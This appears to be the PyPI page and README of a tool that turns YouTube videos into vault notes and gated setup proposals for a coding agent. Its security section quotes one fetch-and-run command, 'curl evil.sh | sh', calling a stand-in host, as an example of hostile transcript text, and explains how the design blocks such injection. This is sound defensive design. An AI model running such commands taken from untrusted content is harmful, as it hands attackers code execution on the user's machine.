Self-Learning Agent
Point your coding agent at a video. Get a note you'll keep, and a setup you approved.
Status: v1 complete, plus channel triage (M5).
/learn-from <url>produces a vault note with validated proposals;/learn-from @channeltriages a creator's latest uploads for you to pick from;sla applyreviews proposals one at a time behind a SkillSpector scan. Nothing is ever applied without you saying yes. On PyPI asself-learning-agent. 379 tests, 91% coverage, CI on Linux, macOS and Windows across Python 3.10–3.13. Architecture is in PLAN.md; to pick the work up cold, read HANDOVER.md.
The problem
Creators like Greg Isenberg ship videos about building with AI agents faster than anyone can absorb them — which MCP server to use, which repo to clone, which prompting pattern actually works. The advice is good. The throughput is the problem.
By the time you need a technique, you've forgotten which video it was in, and you definitely haven't set it up.
This turns that firehose into two things you can use: a note in your vault, and a list of setup actions you explicitly approve.
Before installing anything, read what it actually produces:
six real notes, unedited, in examples/.
What it does
/learn-from https://youtube.com/watch?v=... # one video
/learn-from @GregIsenberg # a channel: triage, you pick, one digest
Or from a shell:
sla queue "@handle" --last 10 # triage a channel from metadata only
sla brief "<url>" --out brief.json # gather one video
sla note "<url>" --synthesis s.json # render its note
sla digest <id> <id> ... # one note linking a processed batch
sla apply "<url>" # review proposals, one at a time
sla doctor # check the install and report any skew
It pulls the transcript, description, and chapters; checks what you already have installed; writes an Obsidian note; and — only if you approve, item by item — installs and configures what's worth having.
It knows what you already own
Before writing anything, the pipeline inventories your installed skills, MCP servers, and CLIs. So the note says:
Video recommends Playwright MCP — you already have it. The new part is the selector-retry pattern it demonstrates, which is worth adding as a skill.
instead of handing you a list of things you installed months ago. It gets sharper the more you already have, not noisier.
Two kinds of video, two payoffs
The pipeline classifies the source and shifts the weight of the note accordingly:
| Class | Example | What you get |
|---|---|---|
| tooling | "I built this with Claude Code and 3 MCP servers" | Concrete setup actions, ready to approve |
| conceptual | "5 AI business ideas for 2026" | Developed project ideas — stack, first command, honest time estimate |
| mixed | Both | Both |
For a conceptual video there is usually nothing to install, and it says so. Which brings us to the design rule that matters most:
It's allowed to find nothing
Most videos teach nothing installable. If a tool like this is expected to produce
actions, it will manufacture them — and that is precisely what makes these tools
untrustworthy. proposals: [] is a valid, common, correct output here.
Same reason every note carries a mandatory Gaps & uncertainty section: videos demo
things on screen while the audio says "just paste this in here," and auto-captions
mangle the exact words that matter (MCP → mcp, n8n → an eight n). The note
tells you what it couldn't see rather than papering over it.
Security
This tool reads text written by strangers and can install software. That deserves a real answer, not a disclaimer.
The agent never emits a shell command. A proposal can only name a package on a known registry:
{ "kind": "package", "manager": "npm", "name": "@playwright/mcp" }
The Python layer renders the command from a template. There is no path from transcript
text to bash — a video description containing curl evil.sh | sh cannot become an
executed command, because "a command" is not something a proposal is able to express.
Agent-facing content is scanned before it activates. Skills are staged in the repo, scanned with SkillSpector, and only copied into your skills directory if you approve. A scan that could not fully run is reported as weak evidence, never as a pass.
On top of that:
- Risk tiers. Anything off the allowlist, anything needing a secret, anything
cloned-and-run is tier
high— printed as manual instructions, never automated. - Secrets are never handled. If a tool needs an API key, you get the key name in
a
.envstub. No value is ever read, written, or transmitted. - Every action is reversible. Each applied proposal records its own undo command.
- Nothing outside your vault is touched before you approve.
Full model in PLAN.md §8. The adversarial-transcript test suite is the one that isn't allowed to go red.
Install
What you need, and what each part is for
The CLI alone cannot write a note. That is worth saying before you install anything, because the note is the product:
| Gets you | Required? | |
|---|---|---|
sla CLI (PyPI) |
fetching, caching, channel triage, the approval gate, sla doctor |
yes |
| An agent — Claude Code via the plugin | turns a transcript into the note. sla note takes the agent's JSON; it does not generate it |
yes, for notes |
| SkillSpector | scans a proposed skill before it can activate | optional — without it, skill proposals are refused |
The split is deliberate: deterministic work is tested Python, judgment is the
agent, and the seam between them is a validated JSON contract — which is what
makes the security model enforceable rather than a promise. The
practical consequence is just that sla on its own is a fetcher. With an agent
it is the thing described above.
Two pieces, then: the sla CLI, and the Claude Code plugin that gives you /learn-from.
# 1. the CLI (Python 3.10+; installs sla onto your PATH)
uv tool install self-learning-agent
# 2. the plugin (the /learn-from command and the skill behind it)
claude plugin marketplace add Soham-1827/Self-Learning-Agent-Claude
claude plugin install self-learning-agent@self-learning-agent
pipx install self-learning-agent or pip install self-learning-agent work too.
To run an unreleased commit instead of the published version:
uv tool install git+https://github.com/Soham-1827/Self-Learning-Agent-Claude.git
Inside a session you can do step 2 as /plugin marketplace add Soham-1827/Self-Learning-Agent-Claude followed by /plugin install self-learning-agent. Restart the session afterwards so the skill loads.
Update later with uv tool upgrade self-learning-agent and claude plugin update self-learning-agent. Do not copy skills/ and commands/ into ~/.claude/
by hand — a copy has no update path, goes stale silently, and will keep teaching
a superseded procedure (PLAN §26).
Then point it at a vault, by writing ~/.self-learning-agent/config.json:
{ "vault_path": "~/LearningVault", "vault_subdir": "Sources", "install_mode": "copy" }
Defaults work without it: ~/LearningVault/Sources, and ~/.self-learning-agent
for the cache, ledger, and the staging folder where a proposed skill is written for
review before it can activate (D7). That folder is
~/.self-learning-agent/generated-skills/ for an installed copy, or the checkout's
own generated-skills/ when you run from source, so it stays diffable in git.
Override either with SLA_HOME or generated_skills_path.
Then check it worked, in one command:
sla doctor
It prints every version, path and dependency it found, flags any skew, and exits non-zero only on a real failure. If something is wrong, that output is the thing to paste into an issue — more below.
The scanner
Activating a generated skill is gated on a security scan by SkillSpector:
uv tool install git+https://github.com/NVIDIA/skillspector.git
export SKILLSPECTOR_PROVIDER=anthropic # also: openai, ollama, bedrock, azure_openai
export ANTHROPIC_API_KEY=... # ollama needs no key and runs locally
There are three honest states, and sla apply tells you which one you are in:
| no SkillSpector | skill proposals are blocked — "refusing to activate unscanned" |
| SkillSpector, no model credentials | static-only scan, reported as weak evidence |
| SkillSpector + a provider | static + semantic, the full scan |
Nothing else is gated this way. A scan blocks activation, never a download (§18),
and registry packages are never scanned — SkillSpector does not analyse them, and
sla apply says so rather than implying a clean bill of health.
Check the install: sla doctor
Which of those three scanner states you are in — and whether anything else disagrees with itself — is one command:
$ sla doctor
[ok ] cli version 0.3.0
[ok ] plugin version 0.3.0
[ok ] hand-copied skill none
[ok ] yt-dlp 2026.08.19
[ok ] scanner /home/you/.local/bin/skillspector (openai)
[ok ] harness claude-code
[ok ] home /home/you/.self-learning-agent
[ok ] vault /home/you/LearningVault/Sources
[ok ] staged skills /home/you/.self-learning-agent/generated-skills
[ok ] install_mode copy
everything checks out
It writes nothing, never prints a secret value, and exits non-zero only on a
FAIL. Every line exists because something shipped broken once: a hand-copied
skill that went stale for three weeks, a version-gated plugin cache, a staged
skill written inside the installed venv, and a CLI that misreported its own
version through two releases (PLAN §26, §28, §29). Each of those was silent;
each is now a line. Paste the output into a bug report.
From source, for contributing
git clone https://github.com/Soham-1827/Self-Learning-Agent-Claude.git
cd Self-Learning-Agent-Claude
uv venv --python 3.12 .venv
uv pip install --python .venv/bin/python -e ".[dev]"
.venv/bin/python -m pytest
Your first run
Six steps, with what each one actually does. Nothing touches your machine until step 5, and nothing installs until step 6.
1. Check the install.
sla doctor
Expect everything checks out. A warn on the scanner is normal and fine — it
only means skill proposals will be refused until SkillSpector is installed.
2. Restart Claude Code, so the plugin's skill is loaded. A freshly installed plugin is not in the running session.
3. Point it at a video. In a Claude Code session:
/learn-from https://www.youtube.com/watch?v=...
This fetches the transcript, description and chapters (one yt-dlp request, about
ten seconds), inventories what you already have installed, and then the agent
writes the note. It ends by printing the note's path and a summary of proposals by
risk tier. It installs nothing.
4. Read the note. It is in ~/LearningVault/Sources/ unless you configured
otherwise. Start with Gaps & uncertainty — it tells you what the video showed on
screen that the transcript could not capture. If the video had nothing installable
in it, Proposed actions will say so, and that is the correct answer rather than a
failure. Three of the six example notes
propose nothing.
5. Preview the decisions.
sla apply "<the same url>" --dry-run
Prints each proposal's risk tier, the exact command it would run, and the scan verdict — and changes nothing. Run it from a real terminal rather than through an agent.
6. Approve, item by item.
sla apply "<the same url>"
Asks [y/N] per proposal. Anything other than y skips it. Tier high is never
offered at all; its instructions are printed for you to run by hand. Each thing
you approve is appended to the note's Applied section with its own undo
command.
For a whole channel, /learn-from @handle triages the latest uploads from metadata
only, shows you the table, and waits for you to pick — see
Working through a channel.
Applying proposals
Writing a note installs nothing. Read the note, then:
sla apply "<url>" --dry-run # scan and decide; change nothing
sla apply "<url>" # scan, decide, then ask about each proposal
sla apply "<url>" --only p1 # a single proposal
Run it from a real terminal, since it prompts. For each proposal it prints the risk tier, the exact command it would run, and the scan verdict, then decides:
| Decision | What happens |
|---|---|
confirm |
You are asked [y/N]. Anything other than y skips it. |
BLOCKED |
Never offered: off the allowlist, needs a secret, manual by nature, or a skill the scan says not to install. The command is printed for you instead. |
Saying yes does exactly one thing per kind:
| Kind | Effect |
|---|---|
skill |
Writes ~/.claude/skills/<name>/SKILL.md with the content that was scanned |
repo_clone |
Clones into ~/.self-learning-agent/staging/ — nothing in it is executed |
package |
Installs with the allowlisted package manager |
mcp_server |
Adds an entry to your MCP config, after backing it up |
Every applied action is appended to the note's Applied section with its undo command.
Worth knowing:
CAUTIONis the ordinary verdict. SkillSpector does not returnSAFEfrom a static-only scan, even with zero findings.- Omit
--no-llmfor decisions that matter. Semantic analysis needs a provider key (for exampleSKILLSPECTOR_PROVIDER=openaiwithOPENAI_API_KEY). - A skill is refused if its staged copy changed after the scan, or if anything
besides
SKILL.mdsits beside it. Runsla applyagain to rescan. --yesskips the prompts. Blocked proposals still never run.- Applied proposals are not offered again, and a video only shows as
appliedonce nothing automatable is still waiting — otherwise it ispartial.
Working through a channel
sla queue "@GregIsenberg" --last 10
Triage reads metadata only — titles, dates, chapters, links in the description — and never downloads a transcript. Videos you have already processed are left out. A real run:
pick # id published min ch gh captions ~words guess title
✓ 1 _LCeJZFIsd4 2026-09-14 31 10 0 auto 4,722 likely tooling Building a Software Factory that actually works…
✓ 2 nglqTHwuZ-8 2026-09-10 23 7 0 manual 3,430 likely tooling GPT-6 Astra: How I’d Make Money With It
✓ 3 mUAsaprJ66s 2026-09-15 28 9 0 auto 4,125 likely conceptual Instinct AI is For Real. What You Need to Know.
✓ 4 UtFo1ZNC2ns 2026-09-08 39 18 0 auto 5,815 likely conceptual I'm Obsessed With Local AI. Here's Why
Three of those columns carry a caveat, and the table states them rather than leaving them to a footnote:
guessis metadata only. Each video is classified for real when it is read.~wordsis duration × 150 wpm, never a counted transcript. A video with no captions shows—, because there is nothing there to estimate.captionsis what YouTube lists —manual,auto,none, orunknownfor a cache entry written before the check existed. A listed track can still fail to download; nothing here promises otherwise. Videos with no captions rank last: a pick is an instruction to read a transcript, and those have none to read.
You choose what gets processed — /learn-from @handle shows this table and
waits — and each pick then goes through the single-video flow on its own, one
transcript at a time. sla digest finishes with one note that links the batch and
gathers every proposal by risk tier.
Design
PLAN phase — no side effects outside the vault
resolve → dedupe → fetch → inventory → synthesize → write note
↓
██ YOU REVIEW THE NOTE ██
↓
APPLY phase — touches your machine
gate → apply → record
Deterministic work (fetching, caching, deduping, rendering, guarded installs) is tested Python. Judgment (classification, synthesis, authoring skills) is the agent. The seam between them is a validated JSON contract, which is also what makes the security model enforceable.
No API keys required. yt-dlp handles channel listings and captions anonymously.
Roadmap
| Milestone | ||
|---|---|---|
| M0 | Repo skeleton, CI, license | ✅ |
| M1 | Fetch + cache + ledger | ✅ |
| M2 | Inventory of installed skills/MCPs | ✅ |
| M3 | /learn-from → vault note + proposals |
✅ |
| M4 | Approval gate + apply | ✅ |
| M5 | Channel triage + digest | ✅ |
| M6 | Scheduled polling | |
| M7 | Web frontend — paste any link |
What it looks like on real videos
Read the notes in examples/. Six videos, three creators, unedited —
plus the proposals.json files sla apply reads, so the security model is something
you can check rather than take on trust.
| Video | Class | Proposals | Ideas |
|---|---|---|---|
| Building a Software Factory (Greg Isenberg) | tooling |
2 | 1 |
| WebMCP: Let AI Agents pay you money (Greg Isenberg) | mixed |
2 | 2 |
| 5 GitHub Repos (Greg Isenberg) | tooling |
3 | 2 |
| Meta Muse AI Connectors (Greg Isenberg) | conceptual |
0 | 4 |
| How to beat low stakes poker (BlackRain79Poker) | conceptual |
0 | 2 |
| How the Periodic Table Works (StarTalk) | conceptual |
0 | 1 |
Half of them proposed nothing. The Meta Muse video is about AI connectors and the
channel triage guessed likely tooling from its description — the note classified it
conceptual, proposed nothing, said the guess was wrong, and spent its length on four
project ideas instead. The poker and periodic-table videos have no chapters, no GitHub
links, and nothing installable. They still produce notes worth keeping.
That is the design working, not failing. Also in examples/: the
digest that closed the
@GregIsenberg channel run — ten videos triaged, three picked, and the Software
Factory, WebMCP and Meta Muse notes written from them.
Known limitations
- Screen content is lost. Frame sampling with vision is deferred as too expensive for v1; description links cover most of the gap.
- ASR mangles product names. Mitigated by reading the human-typed description, not solved. Low-confidence names are flagged in the note.
- No members-only or paywalled content.
- YouTube refuses some caption tracks outright. A request for the translated
enauto-caption track returnsHTTP 429indefinitely, whileen-orig— the same speech, served as the video's own language — downloads normally. The pipeline asks for one track at a time, prefersen-orig, and falls through to the next track when one is refused (PLAN §25). Genuine volume limits are retried with backoff, tunable viaytdlp_attemptsandytdlp_backoff_secondsinconfig.json. Nothing is ever cached on a failure, so a failed read can simply be run again. - Quality is bounded by the creator. This faithfully relays what a video claims. It does not independently verify that the advice is any good.
Contributing
Releases follow RELEASING.md — a version is declared in three files and must agree in all of them; missing one caused two of the bugs in PLAN §28–§29.
Early — the most useful contribution right now is disagreement with PLAN.md. Open an issue.
Transcript fixtures for the test suite are the highest-value contribution — especially adversarial ones, and sources that break the assumptions in PLAN.md §19–§20.
License
MIT
Metadata
Release files for self-learning-agent 0.3.1
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| self_learning_agent-0.3.1.tar.gz | 104.5 kB | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| self_learning_agent-0.3.1-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 169.3 kB
Release files / self_learning_agent-0.3.1.tar.gz
| Download URL | self_learning_agent-0.3.1.tar.gz |
|---|---|
| Size | 104.5 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
629768ee879edce6a5a4667b5acd630ce92f423839b1f1bd5fde6f56392d11c9
|
|
BLAKE2b-256 checksum How to use checksums |
e230bb0135576d240a86e47d08966ad74b2004582b81f32988caf26530b50a0d
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/7.0.0 CPython/3.13.14
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Oct 11, 2026.
Transparency logRelease files / self_learning_agent-0.3.1-py3-none-any.whl
| Download URL | self_learning_agent-0.3.1-py3-none-any.whl |
|---|---|
| Size | 64.8 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
8ae9c41dd0157eca6b9a516f3d725b7b62c50fab8d627d4733189e7187f6133c
|
|
BLAKE2b-256 checksum How to use checksums |
cb7bc08e08d5c57a21afb5a6e1650c640d0f3c5874db589fd2539bfa08e2c0a9
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/7.0.0 CPython/3.13.14
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Oct 11, 2026.
Transparency log